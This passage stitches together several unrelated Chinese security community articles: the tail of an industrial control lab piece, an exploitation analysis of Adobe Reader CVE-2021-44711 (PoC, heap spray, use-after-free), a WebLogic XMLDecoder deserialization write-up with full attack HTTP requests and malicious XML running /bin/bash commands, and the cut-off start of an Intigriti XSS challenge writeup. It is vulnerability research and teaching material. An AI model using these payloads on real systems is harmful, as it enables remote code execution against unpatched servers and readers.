以S7-300为例。对S7-1200的QB10赋值为1，观察S7-300的IB10的值。
图3.1 S7-1200 QB10的值
图3.2 S7-300 IB10的值
用户也可以根据自己的需求进行编程，从而实现不同的控制算法，以及使用画面组态软件展示出来。
图3.3 编程
图3.4 画面展示
结束语
大禹工控安全实验室
由中国网安·广州三零卫士成立，汇聚国内多名漏洞挖掘、二进制逆向、安全分析、渗透测试、自动化工程师等安全专家组建而成，专注于工业控制系统安全、工业物联网安全、工业威胁情报安全等安全领域，大禹工控安全实验室始终坚持在工业控制系统安全领域进行探索和研究。
IRTeam工控安全红队
属于民间工业安全组织，由经验丰富的工控安全研究员组成，一直在学习和研究最新的工控漏洞及漏洞利用和防护，同时开发了Kali
ICS工控渗透平台能够提供全方位的工控漏洞挖掘和渗透测试。在工控的协议安全、HMI安全、工业云安全等领域有着丰富的经验和成果。 | 社区文章 |
**作者：360漏洞研究院 李双 王志远 willJ
原文链接：<https://vul.360.net/archives/434>**
## 背景
Adobe Reader 在今年 1 月份对外发布的安全补丁中，修复了一个由 Cisco Talos安全团队报告的安全漏洞，漏洞编号
CVE-2021-44711，经过分析，该漏洞与我们完成漏洞利用所使用的漏洞一致. 漏洞存在于与注释进行交互的 JavaScript 代码中,
通过构造特定的 PDF 文档可以触发此漏洞, 从而导致任意代码执行.
## 软件版本
Adobe Acrobat Reader DC 2021.007.20099
## 漏洞分析
Adobe Reader 支持在 PDF 文档中嵌入 JavaScript 代码以对 PDF 文档中的注释进行操作. 然而 JavaScript
中对注释进行操作的 `Annotation` 对象在实现上存在整数溢出漏洞.
poc 如下：
var _obj = {};
_obj[-1] = null;
var _annot = this.addAnnot({page:0, type:"Line", points:_obj});
`Annotation` 对象的 `points` 属性是一个由两个点 [[x1, y1], [x2, y2]] 组成的数组,
指定默认用户空间中直线的起点和终点坐标.
但是 JavaScript 是弱类型语言, 这意味着对于所有赋予的值都会首先尝试转转换成所需的目标类型. 所以当赋予一个在索引 `-1`
处存在元素的数组时也会尝试解析. 漏洞就存在于对 `-1` 的错误处理之中.
对数组的类型转换(此处的数组、元素、类型等与 JavaScript 中的概念并不一一对应, 但具有相关性, 下文都不作严格区分)位于
`sub_22132EC6` 函数当中:
// ...
do
{
v13 = (char *)(*(int (__thiscall **)(_DWORD, _DWORD))(dword_22747430 + 28))(
*(_DWORD *)(dword_22747430 + 28),
*(unsigned __int16 *)(v11 + 16));
v14 = atoi(v13);
v15 = v28;
v16 = v14;
v29 = 0x30;
v17 = v28[1] - *v28;
HIDWORD(v24) = *v28;
v25 = v16;
if ( v17 / 0x30 > v16 )
{
v18 = HIDWORD(v24);
}
else
{
resize(v28, v16 + 1, (int)v31);
v18 = *v15;
v16 = v25;
}
sub_2212379A(v18 + 0x30 * v16, (_DWORD *)(v11 + 0x18));
result = sub_2212A202((int *)&v26);
v11 = (int)v26;
}
while ( v26 != *v12 );
// ...
函数当中 `v13` 为数组元素的索引, `v17` 为数组当前的总大小, `0x30` 为每个元素的大小. 此处应该是以线性模式存储数组元素,
因此数组的大小为 `ArraySize = (MaxIndex + 1) * 0x30`, 因为索引 `0` 也要占用空间, 所以总大小需要加 1.
当遇到索引 `-1` 时, 加 1 溢出为 0, 因此 `resise()` 函数的目标 size 为 0, 避免了重新分配过大内存导致的崩溃. 事实上,
如果 size 过大会在 `resize()` 函数中抛出异常:
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfd1e esp=030fb710 ebp=030fb744 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
Annots!PlugInMain+0x51eee:
0adcfd1e 817d0855555505 cmp dword ptr [ebp+8],5555555h ss:0023:030fb74c=ffffffff
0:000> p
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfd25 esp=030fb710 ebp=030fb744 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
Annots!PlugInMain+0x51ef5:
0adcfd25 0f879e000000 ja Annots!PlugInMain+0x51f99 (0adcfdc9) [br=1]
0:000>
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfdc9 esp=030fb710 ebp=030fb744 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
Annots!PlugInMain+0x51f99:
0adcfdc9 e8a9fa0000 call Annots!PlugInMain+0x61a47 (0addf877)
0:000>
(12b4.7a4): C++ EH exception - code e06d7363 (first chance)
WARNING: Step/trace thread exited
eax=00000024 ebx=030fc328 ecx=030fae7c edx=77ec2740 esi=7a76ab50 edi=030fb1fc
eip=77ec2740 esp=030fae7c ebp=030fae8c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
77ec2740 c3 ret
通过 `resize()` 函数后, 调用 `sub_2212379A()` 函数对当前索引指向的元素进行类型转换. 函数的第一个参数为当前元素对象,
通过数组基址加偏移量得出, 即 `v18 + 0x30 * v16`. 由于 `v16` 为 `-1`, 所以导致了越界访问, 从而导致崩溃:
(628.f7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d62490a0 ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0
eip=0ae83a2d esp=0311b92c ebp=0311b954 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
Annots!PlugInMain+0x5bfd:
0ae83a2d 833f01 cmp dword ptr [edi],1 ds:0023:ffffffd0=????????
## 漏洞利用
到此为止仅仅是一个内存越界访问的漏洞, 然而幸运的是这是一个对元素进行类型转换的函数, 针对元素不同的类型提供了大量的转换函数:
int __thiscall sub_221289D1(_DWORD *this, _BYTE *a2)
{
int result; // eax
result = (int)a2;
*a2 = 1;
switch ( *this )
{
case 0:
result = sub_22128B51(a2);
break;
case 1:
result = sub_2216D093(a2);
break;
case 2:
result = sub_222657E3(a2);
break;
case 3:
result = sub_22266607(a2);
break;
case 4:
result = sub_222668EA((uintptr_t)this, (int)a2);
break;
case 5:
result = sub_22266890(a2);
break;
case 6:
result = sub_221377AC(a2);
break;
case 7:
result = sub_22137970(a2);
break;
case 8:
result = sub_22132C7F(a2);
break;
case 9:
result = sub_221681B8(a2);
break;
case 0xA:
result = sub_2213F311(a2);
break;
case 0xB:
result = sub_22168060((unsigned int)this, (int)a2);
break;
case 0xC:
result = sub_22170AE1(a2);
break;
case 0xD:
result = sub_221754BB(a2);
break;
case 0xE:
result = sub_2226621E(a2);
break;
case 0xF:
result = sub_221702EF(a2);
break;
case 0x10:
result = sub_22265C44(a2);
break;
case 0x11:
result = sub_2226583D(a2);
break;
case 0x12:
result = sub_22265338(a2);
break;
case 0x13:
result = sub_2213EDB4(a2);
break;
case 0x14:
result = sub_22132EC6(a2);
break;
case 0x15:
result = sub_2213F9FE(a2);
break;
case 0x16:
result = sub_22265065(a2);
break;
case 0x17:
result = sub_222665E8(a2);
break;
case 0x18:
result = sub_22265206(a2);
break;
case 0x19:
result = sub_22266A83(a2);
break;
case 0x1A:
result = sub_22265445(a2);
break;
default:
return result;
}
return result;
}
这也就为我们提供了丰富的漏洞利用原语. 我们可以提前布局内存伪造元素对象, 并通过修改功能号 `*this` 来调用任意一个类型转换函数.
通常, 我们期待得到一次越界写的机会或者 UAF 的机会. 在这个 case 中, 越界写很难得到, 虽然在几个分支函数中存在越界写的可能,
但大多都难以到达或者越界写后难以返回. 相对比来说, UAF 更为容易, 在多个分支函数中均存在对成员对象的析构. 其中最为稳定, 干扰最少的应该是功能号为
`0x1a` 的函数 `sub_22265445`.
### 伪造对象与内存布局
为了伪造元素对象, 我们需要数组被构造为一个合适的大小, 因此修改 poc 如下:
var _annot = this.addAnnot({page:0, type:"Line"});
var _obj = {};
_obj[2] = 2;
_annot.points = _obj;
_obj[-1] = null;
_annot.points = _obj;
伪造的对象只需要构造出功能号和需要 free 的目标对象指针即可:
fakelement = new Array(0x10);
fakelement[11] = 0x1a;
fakelement[12] = 0x20000048;
其在内存当中如下
| | | | |
Array Object -> +----------+----------+----------+----------+
| | | capacity | length |
0x10 -> +----------+----------+----------+----------+
| | | | |
0x20 -> +----------+----------+----------+----------+
| | | | |
0x30 -> +----------+----------+----------+----------+
| | | | |
0x40 -> +----------+----------+----------+----------+
| | | | |
0x50 -> +----------+----------+----------+----------+
| | | | |
fake element -> +----------+----------+----------+----------+
| | | func id | |
0x70 -> +----------+----------+----------+----------+
| free ptr | | | |
0x80 -> +----------+----------+----------+----------+
| | | | |
base -> +----------+----------+----------+----------+
| | | | |
这里的 free ptr 需要结合一个信息泄露来完成, 但是在 32 位上, 我们可以直接通过 `Array` 对象堆喷来得到稳定的地址
`0x20000048`; 另一方面, 通过 `Array` 对象可以更方便的完成后续的任意读写.
所以这里我们需要完成两次堆喷:
* 一次是 `0x1a` 大小的 `Array` 对象, 用于通过漏洞越界访问到我们伪造的内存当中.
* 一次是 `0x1ffd` 大小的 `Array` 对象, 用于产生稳定的地址并得到一个 UAF 的对象进行后续利用.
### 任意地址读写
布局完成后, 触发漏洞我们可以得到一个位于地址 `0x20000048` 处的被 free 的 `Array` 对象.
此时我们通过 `ArrayBuffer` 抢占这块被 free 的内存, 可以实现 `Array` 对象和 `ArrayBuffer` 的 overlap.
`Array` 对象的 `lengh` 属性与 `ArrayBuffer` 对象的 `length` 属性在内存布局中处于同一位置, 然而两者的定义不同:
`Array` 对象的 `length` 属性指的是元素的个数; 而 `ArrayBuffer` 对象的 `length` 属性则是指以 uint8
为单位的空间大小. 因此被 overlap 的 `Array` 对象的 `length` 变大, 实现了越界读写.
为了更进一步实现任意读写, 可以释放掉被 free 的 `Array` 对象的下一个 `Array` 对象, 并用 `ArrayBuffer` 对象抢占,
然后通过我们的越界读写能力修改 `ArrayBuffer` 的 `length` 为 `0xffffffff`.
### 后续
实现了任意读写之后, 接下来任意代码执行的工作就比较轻松了. 由于没有太多新奇的内容, 本文就不再赘述.
## 总结
本文对 CVE-2021-44711 漏洞进行了分析并介绍了一种利用方式. 由于漏洞本身的特性可能还存在许多其他的利用方式和需要改进的地方,
例如能不能通过越界写而不是 UAF 的方式、堆喷能不能由两次改为一次、任意地址读写实现的其他方式等都还可以进行探索. 本文中可能出错的地方还望能够指正.
* * * | 社区文章 |
# XMLDecoder/XMLEncoder
`XMLDecoder/XMLEncoder`是在JDK1.4版中添加的`XML`格式序列化持久性方案，可以比较使用Json格式序列化的`FastJson`库。
使用`XMLEncoder`来生成表示`JavaBeans`组件（bean）的`XML`文档，用`XMLDecoder`读取使用 `XMLEncoder`
创建的XML文档获取`JavaBeans`。
## XMLEncoder示例
代码：
package XMLDecoder;
import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
public class Test {
public static void main(String[] args) throws FileNotFoundException {
XMLEncoder e = new XMLEncoder(
new BufferedOutputStream(
new FileOutputStream("Test.xml")));
e.writeObject(new JButton("Hello, world"));
e.close();
}
}
`XMLEncoder`类是`ObjectOutputStream`的补充，序列化`JButton`类，生成的序列化`XML`文件如下：
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_112" class="java.beans.XMLDecoder">
<object class="javax.swing.JButton">
<string>Hello, world</string>
</object>
</java>
## XMLDecoder示例
代码：
package XMLDecoder;
import javax.swing.*;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.*;
public class Test {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("Test.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();
}
}
使用`XMLDecoder`读取序列化的`XML`文档，获取`JButton`类并打印输出：
javax.swing.JButton
[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=com.apple.laf.AquaButtonBorder$Dynamic@179d3b25,flags=288,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=0,left=2,bottom=0,right=2],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=false,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello, world,defaultCapable=true]
## XML文档-对象和元素
`XMLEncoder`生成的`XML`序列化文档表示对象，文档中的每个元素都用来描述如何调用对象的方法。
### string标签
`Hello, World`字符串表示的方式为`<string>Hello, World</string>`
### object标签
通过`<object>`标签表示对象，`class`属性指定具体类（用于调用其内部方法），`method`属性指定具体方法名称（比如构造函数的的方法名为`new`）
`new JButton("Hello, world")`对应的XML文档：
<object class="javax.swing.JButton" method="new">
<string>Hello, world</string>
</object>
### void标签
通过`void`标签表示函数调用、赋值等操作，`method`属性指定具体的方法名称。
`JButton b = new JButton();b.setText("Hello, world");`对应的XML文档：
<object class="javax.swing.JButton">
<void method="setText">
<string>Hello, world</string>
</void>
</object>
### array标签
通过`array`标签表示数组，`class`属性指定具体类，内部`void`标签的`index`属性表示根据指定数组索引赋值。
`String[] s = new String[3];s[1] = "Hello, world";`对应的XML文档：
<array class="java.lang.String" length="3">
<void index="1">
<string>Hello, world</string>
</void>
</array>
## XMLEncoder反序列化漏洞
通过`XMLEncoder`反序列化XML文档时可以执行类方法，若XML文档可控且构造恶意内容，就可以完成任意代码执行。
反序列化代码：
package XMLDecoder;
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.lang.ProcessBuilder;
public class xmlDecodeTest {
public static void main(String[] args) throws FileNotFoundException {
String path = "src/main/java/XMLDecoder/poc.xml";
File file = new File(path);
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder a = new XMLDecoder(bis);
a.readObject();
}
}
恶意XML：
<?xml version="1.0" encoding="UTF-8"?>
<java>
<void class="java.lang.ProcessBuilder" method="new">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /System/Applications/Calculator.app/</string>
</void>
</array>
<void method="start"/>
</void>
</java>
使用`java.lang.ProcessBuilder`进行代码执行，整个恶意`XML`反序列化后相当于执行代码：
String[] cmd = new String[3];
cmd[0] = "/bin/bash";
cmd[1] = "-c";
cmd[2] = "open /System/Applications/Calculator.app/";
new ProcessBuilder(cmd).start();
# Weblogic Docker调试环境搭建
## 环境搭建
Weblogic的版本为`10.3.6.0`，使用P总`vulhub`中现成的CVE-2017-10271环境：
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
修改`docker-compose.yml`文件，添加远程调试端口`8453`映射：
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
`docker-compose up -d`启动容器环境，Weblogic运行在`127.0.0.1:7001`。
CVE-2017-10271攻击数据包：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/rai4over</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
发送数据包后`docker exec -it f3a bash`进入容器，查看`/tmp/`目录文件创建则环境无误。
## 远程调试
进入容器，配置Weblogic开启远程调试：
vim /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
添加配置代码：
debugFlag="true"
export debugFlag
然后`docker-compose restart`重启容器。
从`docker`中拷贝Weblogic源码和JDK
`docker cp 62bd5880df6d:/root ./weblogic_jars`
* Oracle，Weblogic目录，包含调试时需要用的`jar`、`war`包等。
* JDK，JDK目录，版本为`1.6.0_45`，调试JDK也选择该目录。
在`Middleware`目录下提取全部的`jar`、`war`包到`test`目录。
cd /Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware
mkdir test
find ./ -name "*.jar" -exec cp {} ./test/ \;
find ./ -name "*.war" -exec cp {} ./test/ \;
`/Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware/wlserver_10.3`作为IDEA项目打开，设置JDK为拷贝出来的，然后添加包含`test`目录到项目的`Libraries`。
设置`DEBUG`模式为`Remote`，端口为与`docker`映射出去相同的`8453`
运行`DEBUG`，没有问题则调试端口连接成功，控制台应该输出：
Connected to the target VM, address: 'localhost:8453', transport: 'socket'
在`Servlet`中设置好断点，发送`Payload`，应该能成功断下。
weblogic.wsee.jaxws.WLSServletAdapter#handle
# CVE-2017-10271
## 简介
Weblogic的WLS
Security组件中的`servlet`存在`XMLEncoder`反序列化漏洞，精心构造恶意`Soap`请求，完成任意代码执行。
受影响版本：
* WebLogic 10.3.6.0.0
* WebLogic 12.1.3.0.0
* WebLogic 12.2.1.1.0
* WebLogic 12.2.1.2.0
CVE-2017-3506和CVE-2017-10271均是`XMLDecoder`反序列化漏洞，CVE-2017-3506修补方案为禁用`object`标签。
CVE-2017-10271是通过`void`、`new`标签对CVE-2017-3506补丁的绕过。
## 分析
Oracle/Middleware/test/wls-wsat.war!/WEB-INF/web.xml
查看`web.xml`，可以发现存在漏洞的`wls-wsat`组件中包含不同的路由，均能触发漏洞。
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
从此出开始分析，var1为POST的恶意数据，var2为数据中的headers，从var2
获取`WorkAreaConstants.WORK_AREA_HEADER`后赋值给var3且不为null，跳入if分支将var3传入`readHeaderOld`函数。
weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
通过`XMLStreamWriterFactory.create`函数获取恶意的`Payload`到`var4`中，`var4`的字节数组输入流传入`WorkContextXmlInputAdapter`的构造函数。
weblogic.wsee.workarea.WorkContextXmlInputAdapter#WorkContextXmlInputAdapter(java.io.InputStream)
包含恶意`XML`的输入流作为参数传入`XMLDecoder`的构造函数，将`XMLDecoder`对象存储在`WorkContextXmlInputAdapter`对象的`xmlDecoder`成员中。返回一个`WorkContextXmlInputAdapter`实例对象到上层的`var6`，`var6`作为参数传入`receive`函数。
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive
`WorkContextXmlInputAdapter`对象又被传入了`WorkContextMapImpl`类的`receiveRequest`方法。
weblogic.workarea.WorkContextMapImpl#receiveRequest
`WorkContextXmlInputAdapter`对象作为参数再次被传递到`WorkContextLocalMap`类的`receiveRequest`方法。
weblogic.workarea.WorkContextLocalMap#receiveRequest
`WorkContextXmlInputAdapter`对象被再次传入`WorkContextEntryImpl.readEntry`。
weblogic.workarea.spi.WorkContextEntryImpl#readEntry
`WorkContextXmlInputAdapter`对象的`readUTF`函数被调用。
weblogic.wsee.workarea.WorkContextXmlInputAdapter#readUTF
存储的`this.xmlDecoder`进行反序列化，完成代码执行，此时的调用栈为：
readObject:203, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
## 补丁
CVE-2017-10271的修复补丁为：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
进行黑名单判断，遇到`void`、`object`、`method`、`new`等危险标签直接抛出异常。
# CVE-2019-2725
## 简介
2019年4月17日，国家信息安全漏洞共享平台（CNVD）收录了Oracle WebLogic wls9-async反序列化远程命令执行漏洞。
受影响版本：
* WebLogic 10.X
* WebLogic 12.1.3
CVE-2019-2725和CVE-2017-3506、CVE-2017-10271漏洞触发原因相同，均是`XMLDecoder`反序列化命令执行漏洞。
对于没有打之前安全补丁的目标，公告中提到的`/_async/*`路径，可以和以前`/wls-wsat/*`路径使用相同标签进行攻击。
CVE-2019-2725攻击数据包：
POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-live
Content-Type: text/xml
Content-Length: 1252
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/rai4over</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
## 补丁绕过
对于打了补丁的Weblogic，不能够调用函数，但可以利用危险构造函数。
oracle.toplink.internal.sessions.UnitOfWorkChangeSet#UnitOfWorkChangeSet(byte[])
10.3.6版本可用，进行第二次反序列化，几个较好的利用方式：
* 利用ysoserial-jdk7u21-RCE
* 利用FileSystemXmlApplicationContext-RCE
* 利用JtaTransactionManager链进行JNDI注入
org.springframework.transaction.jta.JtaTransactionManager#readObject
跟进initUserTransactionAndTransactionManager
org.springframework.transaction.jta.JtaTransactionManager#initUserTransactionAndTransactionManager
跟进lookupUserTransaction函数
org.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction
进行JNDI注入
# 参考
<https://www.anquanke.com/post/id/180725>
<https://www.anquanke.com/post/id/102768>
<https://www.oracle.com/technical-resources/articles/java/persistence3.html>
<https://it.baiked.com/jdkapi1.8/java/beans/XMLEncoder.html>
<https://www.cnblogs.com/ph4nt0mer/p/11775908.html>
<http://xxlegend.com/2017/12/22/Weblogic%20CVE-2017-10271%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/>
<http://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi>
<https://github.com/lufeirider/CVE-2019-2725> | 社区文章 |
# Intigriti史上最难XSS挑战Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Intigriti xxs challenge 0421 被官方自己被评价为目前为止 **Intigriti史上最难的 XSS 挑战**
。在有效提交期内，全球参与的 hacker、CFTer、Bugbounty hunter 仅有15人成功通过挑战拿到flag。
该挑战由@terjanq根据他在漏洞挖掘中绕过的真实场景下的waf规则所编写。挑战地址：<https://challenge-0421.intigriti.io/>
，以下要求：
* 使用最新版的Firefox或者Chrome浏览器
* 使用`alert()`弹窗`flag{THIS_IS_THE_FLAG}`
* 利用此页面的xss漏洞
* 不允许self-XSS 和 MiTM 攻击
* 无需用户交互
本人也在提交期内对该挑战进行了尝试，对整个网页以及背后的waf逻辑进行了分析研究，但无奈菜狗一枚，未能在有效提交期内通关。通过赛后公布的poc，对个人思路和通关思路进行复盘，形成本WP，供共同学习交流。感兴趣的小伙伴也可以自行尝试，感受该XSS挑战的难度和乐趣！
## 0x01 代码分析
对题目网页进行分析，主要包括网页源码`(index)`和一个`waf.html`([https://challenge-0421.intigriti.io/waf.html)。](https://challenge-0421.intigriti.io/waf.html\)%E3%80%82)
（index）
<!DOCTYPE html>
<html>
<head>
<title>Intigriti April Challenge</title>
<meta charset="UTF-8">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:site" content="@intigriti">
<meta name="twitter:creator" content="@intigriti">
<meta name="twitter:title" content="April XSS Challenge - Intigriti">
<meta name="twitter:description" content="Find the XSS and WIN Intigriti swag.">
<meta name="twitter:image" content="https://challenge-0421.intigriti.io/share.jpg">
<meta property="og:url" content="https://challenge-0421.intigriti.io" />
<meta property="og:type" content="website" />
<meta property="og:title" content="April XSS Challenge - Intigriti" />
<meta property="og:description" content="Find the XSS and WIN Intigriti swag." />
<meta property="og:image" content="https://challenge-0421.intigriti.io/share.jpg" />
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="./style.css" />
<meta http-equiv="content-security-policy" content="script-src 'unsafe-inline';">
</head>
<body>
<section id="wrapper">
<section id="rules">
<div class="card-container error" id="error-container">
<div class="card-content" id="error-content">
Error: something went wrong. Please try again!
</div>
</div>
<div id="challenge-container" class="card-container">
<div class="card-header">
<img class="card-avatar" src="./terjanq.png"/>
Intigriti's 0421 XSS challenge - by <a target="_blank" href="https://twitter.com/terjanq">@terjanq</a></span></div>
<div id="challenge-info" class="card-content">
<p>Find a way to execute arbitrary javascript on this page and win Intigriti swag.</p>
<b>Rules:</b>
<ul>
<li>This challenge runs from April 19 until April 25th, 11:59 PM CET.</li>
<li>
Out of all correct submissions, we will draw <b>six</b> winners on Monday, April 26th:
<ul>
<li>Three randomly drawn correct submissions</li>
<li>Three best write-ups</li>
</ul>
</li>
<li>Every winner gets a €50 swag voucher for our <a href="https://swag.intigriti.com" target="_blank">swag shop</a></li>
<li>The winners will be announced on our <a href="https://twitter.com/intigriti" target="_blank">Twitter profile</a>.</li>
<li>For every 100 likes, we'll add a tip to <a href="https://go.intigriti.com/challenge-tips" target="_blank">announcement tweet</a>.</li>
</ul>
<b>The solution...</b>
<ul>
<li>Should work on the latest version of Firefox or Chrome</li>
<li>Should <code>alert()</code> the following flag: <code id="flag">flag{THIS_IS_THE_FLAG}</code>.</li>
<li>Should leverage a cross site scripting vulnerability on this page.</li>
<li>Shouldn't be self-XSS or related to MiTM attacks</li>
<li>Should not use any user interaction</li>
<li>Should be reported at <a href="https://go.intigriti.com/submit-solution">go.intigriti.com/submit-solution</a></li>
</ul>
</div>
</div>
<iframe id="wafIframe" src="./waf.html" sandbox="allow-scripts" style="display:none"></iframe>
<script>
